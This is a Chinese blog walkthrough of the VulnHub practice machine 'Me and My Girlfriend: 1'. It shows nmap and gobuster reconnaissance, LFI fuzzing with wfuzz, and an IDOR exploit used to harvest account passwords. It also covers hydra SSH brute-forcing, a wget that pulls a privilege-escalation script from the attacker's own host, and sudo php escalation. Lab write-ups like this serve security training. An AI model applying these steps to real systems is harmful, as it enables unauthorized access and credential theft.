『VulnHub系列』Me and My Girlfriend: 1-Walkthrough

这是我完成的VulnHub上的第29个靶机。

靶机地址

难度:初级

靶机发布日期:2019年12月13日

在这里插入图片描述

靶机描述:Description: This VM tells us that there are a couple of lovers namely Alice and Bob, where the couple was originally very romantic, but since Alice worked at a private company, “Ceban Corp”, something has changed from Alice’s attitude towards Bob like something is “hidden”, And Bob asks for your help to get what Alice is hiding and get full access to the company!

Difficulty Level: Beginner

Notes: there are 2 flag files

Learning: Web Application | Simple Privilege Escalation

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]

工具、知识点和漏洞

  • nmap
  • burpsuite
  • gobuster
  • hydra

0x00、信息收集

靶机IP:192.168.56.103

nmap -sn 192.168.56.0/24

在这里插入图片描述

端口和服务

nmap -sS -sV -T5 -A -p- 192.168.56.103

在这里插入图片描述

查看首页源代码发现提示

在这里插入图片描述

安装火狐插件Header Editor,进行如下配置:

在这里插入图片描述

刷新页面后网页显示正常

在这里插入图片描述

页面、目录枚举

gobuster dir -u http://192.168.56.103 -w ~/Desktop/SecLists/Discovery/Web-Content/raft-large-directories.txt -x .php,.html,.zip,.txt

在这里插入图片描述

访问robots.txt得到heyhoo.txt,进而访问heyhoo.txt得到了不疼不痒的提示:Great! What you need now is reconn, attack and got the shell。

发现首页的链接是http://192.168.56.103/index.php?page=,于是想到LFI。用wfuzz进行了模糊测试,没有什么结果

wfuzz -u 192.168.56.103/index.php?page=FUZZ -w ~/Desktop/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt
wfuzz -u 192.168.56.103/index.php?page=FUZZ -w ~/Desktop/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt --hl=0 --hw=21 --hh=120

在这里插入图片描述

注册了一个账号,登录进去也没发现什么

在这里插入图片描述

看到链接为http://192.168.56.103/index.php?page=dashboard&user_id=12,于是想尝试一下SQLi,人工测试过程如下:
user_id=12’
user_id=12"
user_id=-12
以上均显示正常

看到有个profile的菜单,是用来修改用户密码的,并且同样带着user_id这个参数,想着是不是存在越权漏洞,于是修改user_id的值,看用户名是否有什么变化。

在这里插入图片描述

直接把user_id改成1之后,用户名密码发生了改变,证实此处存在水平越权漏洞。

在这里插入图片描述

由于之前的信息收集只找到了SSH服务,且用得到的其他用户的账号密码登录后,没有发现这个网站存在其他的功能。所以尝试遍历获取所有的账号密码,用以通过SSH登录系统。

新建账户的user_id是12,所以用burpsuite只对user_id=1-11进行了枚举。

在这里插入图片描述

收集了用户名和密码,用hydra测试得到一组用户名密码alice:4lic3。之后使用它们登录了系统。

在这里插入图片描述

0x01、提权

--------------------------------------------------------------Begin 套话分割线 Begin--------------------------------------------------------------

关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.pyLinEnum.sh.

如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux

先在kali上开启HTTP服务

python -m SimpleHTTPServer 65534

使用wget下载linuxprivchecker.py脚本到靶机的tmp目录

因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

为了便于查看收集到的信息,我将结果输出到report.txt文本中,之后使用less查看

python linuxprivchecker.py > report.txt
less report.txt

靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。

-------------------------------------------------------------- End 套话分割线 End --------------------------------------------------------------

查找sudo权限命令,发现/usr/bin/php。php提权参考https://gtfobins.github.io/gtfobins/php/#sudo

sudo -l

在这里插入图片描述

在这里插入图片描述

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。我是ins1ght.

发布了41 篇原创文章 · 获赞 14 · 访问量 7900

猜你喜欢

转载自blog.csdn.net/weixin_44214107/article/details/103635408